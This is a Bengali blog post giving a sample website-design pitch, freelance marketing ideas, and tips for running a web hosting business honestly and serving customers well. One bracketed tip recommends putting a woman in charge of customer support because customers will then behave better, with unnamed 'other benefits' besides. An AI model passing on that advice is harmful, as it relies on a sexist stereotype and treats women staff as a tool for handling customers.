“আমি  বা আমরা জানতে পেরেছি আপনি একটি ওয়েব সাইট বানাতে চাইছেন,আমি আপনার জন্য আপনার চাহিদা অনুযায়ী ওয়েবসাইটি বানাতে চাই।
আপনি যেই রকম সুবিদা চাইবেন সেই রকম খরচ পড়বে এবং এক্সট্রা কোন চার্জ নেই।
আপনার সাথে যদি এটাই আমাদের প্রথম কাজ হয়ে থাকে তবে আমি আপনাকে SEO টা ফ্রি করে দিতে চাই।
এবং পরবর্তীতে যে কোন সমস্যা নিয়ে আপনি আমার সেবা পাবেন “
এবার নিচে আপনার কোম্পানির বা আপনার পরিচয় দিন এভাবে
এবিসি উইজেট ওয়েবসাইট ডিজাইন প্রস্তাবনা
সূত্র:...........
লোকেশন:....
যোগাযোগ মাধ্যম:....
পরিশেষে একটি সাইন দিন।

* নতুন আইডিয়া পেতে পারেন:

আমার মতে ৫টি আইডিয়া দিলাম:
আকর্ষণীয় গ্রাফিক্স এবং প্রদর্শণ করে ব্যবহার করুন
দেখুন
দেখুন
আগ বাড়িয়ে কোন সুবিদা দিতে যাবেন না
Youtube
বিনামূল্যে কিছু পরামর্শ দিবেন
নিজের একটি পোষ্টার তৈরী বরুন আর সেটি ইমেইলের সাথে সবসময় এটাচ করে দিবেন।
আপনি কিছু T-শার্ট সঙ্গে আপনার নতুন ডিজাইন(লোগো) মুদ্রিত তরে আপনার বন্ধু এবং আপনার ক্লায়েন্টকে দিতে পারেন।

নিজের সাথে সবসময় একটি কলম এবং একটি ছোট নোট রাখতে পারেন যাতে নতুন আইডিয়া মাথায় এলে নোট করে রাখতে পারেন।

ছুটির দিনে আপনি আপনার লোগোর সঙ্গে কিছু নান্দনিক গ্রিটিংস কার্ড এবং মুদ্রণ আপনার ক্লায়েন্ট, বন্ধুদের প্রেরণ করতে পারেন

নিজের একটি ব্যক্তিগত ভিজিটিং কার্ড বানিয়ে নিন

মাঝে মাঝে সন্ধায় বা বিকেলে ক্যাফেতে গিয়ে কপি খেতে পারেন আর নতুন কারো সাথে পরিচিত হতেও পারেন যদি সেখানে আপনার কোন বিজ্ঞাপন লাগানো থাকে।
স্থানীয় পত্রিকার কারো সাথে ভালো সম্পর্ক রাখুন
আপনার করা ডিজাইন(সাইটের ডিজাইনের) সঙ্গে সৃষ্টিশীল এবং/অথবা মজার বুকমার্ক মুদ্রণ এবং প্রাসঙ্গিক বই বই সঞ্চয় কফি শপ এবং চা দোকান রাখুন ।
আউটডোর ব্যানার তৈরি করুন,এবং আপনার শহর কেন্দ্রে রাখুন
আপনার স্থানীয় থিয়েটার, অথবা বিনোদন প্রতিষ্ঠান এবং যোগাযোগ তাদের শো এক জন্য একটি সুন্দর ওয়েবসাইট ফ্রি অফার করুন

-: হোষ্টিং বিজনেস :-

প্রাথমিক কথা :>>

ব্যবসায়িক পরিকল্পনা
বাজেট
জনবল(কত জন মিলে সার্ভিস দিবেন)
একটি রিসেলার একাউন্ট অথবা একটি ডেডিকেটেড সার্ভার কিনুন
আপনার ওয়েব হোস্টিং ব্যবসার বিজ্ঞাপন দিন
ক্রেডিট কার্ডের মাধ্যমে মূল্য পরিশোধের সুযোগ রাখুন
সর্বশেষ যা বলতে চাই ,

আপনি একটি ওয়েব হোস্টিং ব্যবসা শুরু করছেন:

  • ক) একটি ব্যবসায়িক পরিকল্পনা - এই কাজটা আপনার প্রথম প্রয়োজন
  • খ) একটি সার্ভার (অথবা একটি রিসেলার একাউন্ট)
  • গ) একটি কন্ট্রোল প্যানেল - উভয়ের জন্য আপনি এবং গ্রাহকের
  • গ) অ্যাকাউন্ট (অথবা আপনার কোনো তৃতীয় পক্ষ ক্রেডিট কার্ড প্রসেসর ব্যবহার করতে পারেন)
  • ঙ) SSL সার্টিফিকেট
  • চ) একটি ডোমেইন নেইম এবং একটি ওয়েবসাইট
  • ছ) একটি বিজ্ঞাপন বাজেট

এবার হোষ্টিং বা ডোমেইন কেনাবেচা :...>

যে সকল প্রতারনা করবেন না বা প্রলোভন দেখাবেন না অথবা গ্রাহক কে ভুল বুঝাবেন না:

১০০% আপটাইম সার্ভার
আমরাই সবার সেরা
আনলিমিটেড স্পেস
আমাদের সার্ভারের সাইট হ্যাক হয় না
[ কোন কম্পিউটারের হার্ডডিক্স কি আনলিমিটেড হতে পারে ? তাহলে স্পেস কেমনে আনলিমিটেড হবে ]
[ সার্ভার এর ক্যাশিং ক্লিয়ার করতে মাঝে মাঝে সাইট ডাউন হতেই পারে ]
[ নিজের টা তুলে দরুন আর কে কেমন তা বলার প্রয়োজন নেই ]

গ্রাহক আপনার প্যাকেজ কিনার পর যে সকল অভিযোগ আসতে পারে :-

সাইট লোড হতে সময় বেশি লাগে কেন
একটু পর পর সার্ভার ডাউন হচ্ছে
ইরর দেখাচ্ছে
ব্যান্ডওয়াইথড খুব দ্রুত শেষ হচ্ছে কেন
ftp কাজ করছে না,পারমিশন ইরর
ব্যাক আপ নিতে পারছি না কেন
[আপনি আগে থেকেই এই ধরনের প্রশ্নের উত্তর তৈরী করে রাখতে পারেন,আপনি টিউটোরিয়াল/faq বানিয়ে রাখুন,তাহলে ইনষ্টান্ট সমাধান করে দিতে পারবেন।]

কিভাবে গ্রাহকের মন জয় করবেন ?

  • ১। ২৪ ঘন্টা সাপোর্ট দিতে পারেন
  • ২।মোবাইলে  গ্রাহকের সাথে কথা বলুন
  • ৩।সোস্যাল নেটওয়ার্কিং সাইটে একটি পেইজ রাখতে পারেন যেখানে গ্রাহক আপনাকে সবকিছু জানাতে পারে।
  • ৪।সাপোর্ট দিতে একটি ইমেইল একাউন্ট রাখুন
  • ৫।সম্ভব হলে চ্যাটিং ব্যবস্থা করুন
  • ৬।টিকিট ব্যাবস্থা রাখুন
  • ৭।একজন সাপোর্ট ম্যানেজার রাখুন
    [যদি পারেন তবে সাপোর্ট ম্যানেজার হিসেবে কোন মেয়েকে দায়িত্ব দিন,তাহলে গ্রাহক খুব সুন্দর আচরন করতে বাধ্য হবে
    এবং সমস্যার সমাধান সহজ হবে,এ ছাড়াও আরে কিছু সুবিদা পাবেন আপনি ]

গ্রাহকের সাথে কি করলে সম্পর্ক নষ্ট হয় আর মার্কেটে আপনার মান খারাপ হয় ?

১।গ্রাহক এর সাথে যোগাযোগ না রাখার চেষ্টা করা
২।গ্রাহক খুব প্রয়োজনে ফোন করলে আপনি বার বার রিং বাজলেও না রিসিভ করা
৩।গ্রাহকের সাথে উচ্চস্বরে কথা বলা
৪।হুমকি দেয়া
৫।বিশ্রি ভাবে গালাগাল করা
৬।গ্রাহকের কথা শেষ হবার আগেই উল্টো তাকে প্রশ্ন করা
[গ্রাহক নিজেই সার্ভার/হোষ্টিং নিয়েছে এখন সে তার সার্ভারে চলে যেতে চায় আর আপনার সাহায্যে চাইছে,মেন সে তার ফুল ব্যাকআপ চায়,তার সঠিক আইপি চায়(ফাইল ট্রান্সফার করার কাজে)
,যদি ডোমেইন ও আপনি দিয়ে থাকেন তবে সে ডোমেইন কন্ট্রোল চাইবে।
দয়া করে আপিন গ্রাহকের পাওনা দিয়ে দিন, অনেকে মেজাজ ঘরম করে গ্রাহকের ব্যাকআপ দেয় না,ফোন ধরে না,ইমেইল রিপ্লে দে না এবং সর্বশেষ কন্ট্রোল দিতে চায় না,আবার গ্রাহকের ফাইল ডিলেট করে দে
যদি এসব করেন তবে যায়গা মত ধরা খাবেন.ইজ্জত তো যাবে সাথে বিজনেস যাবে হাতাহাতিও হতে পারে]

হোষ্টিং প্রোভাইডার যে সকল কাবিলাতি করে নিজের গুনগতমান খারাপ করে:-

১। গ্রাহক যে প্যাকেজ কিনেছে তা গ্রাহক কে না জানিয়ে কয়দিন পর চেন্জ করে দেয়া
২।গ্রাহক কে না বলে সার্ভার চেন্জ করা
৩।নিজের ইচ্ছে মতো ব্যান্ডওয়াইথড কমানো বা বাড়ানো
৪।বিনা প্রয়োজনে(অনুমতি ছাড়া) গ্রাহকের সি প্যানেলে প্রবেশ
৫।১ম বছরের পর রিনিউ করার সময়ে অতিরিক্ত খরচ দাবি করা

সবাই যা করে আপিন তার থেকে আলাদা কিছু করুন :-

১। মাঝে মাঝে গ্রাহক কে মেইল করুন(মাল্টি ইউজার মেইল)
২।গ্রাহককে ফোন করে তার সাইটের অবস্থার কথা জেনে নিন,মানে সার্ভার এর কোন সমস্যা দেখা যাচ্ছে কিনা
৩।গ্রাহককে ছোটখাট সাইটের জন্য হোষ্টিং উপহার দিন যাতে গ্রাহক আপনার প্রতি সন্তুষ্ট হয়
৪।অলাভজনক প্রতিষ্ঠানের জন্য হোষ্টিং স্পন্সর করুন
৫।১টি পরিপূর্ণ ইউজার গাইড তৈরী করুন

** সাফল্যের জন্য প্রয়োজন চারটা জি

গ্রেস,গ্রম্সান,গ্লিট ও গুর্টস(দয়া,সাধারন বুব্ধি,চরিত্রের দৃঢতা এবং সহন শক্তি)

এটি আমার ব্লগিং লাইফের ৫০০ তম পোষ্ট

এই পোষ্টের প্রতিটি কথা আমার নিজের আইডিয়া থেকেই লেখা,কোথাও থেকে নিয়ে লেখা নয়,তাই আমার অনেক কথা আপনার সাথে না মিলতে পারে এবং আপনার সাথে না মিললেও আরেকজনের সাথে মিলবে এটাই স্বাভাবিক। তাই আমি অগ্রিম সরি বলে দিচ্ছি।
টপিক্স: আনোয়ার হোসেন রানা (Cx Rana)
ইলেকট্রনিক্স ইঞ্জিনিয়ারিং বিভাগ,শেষ বর্ষ



From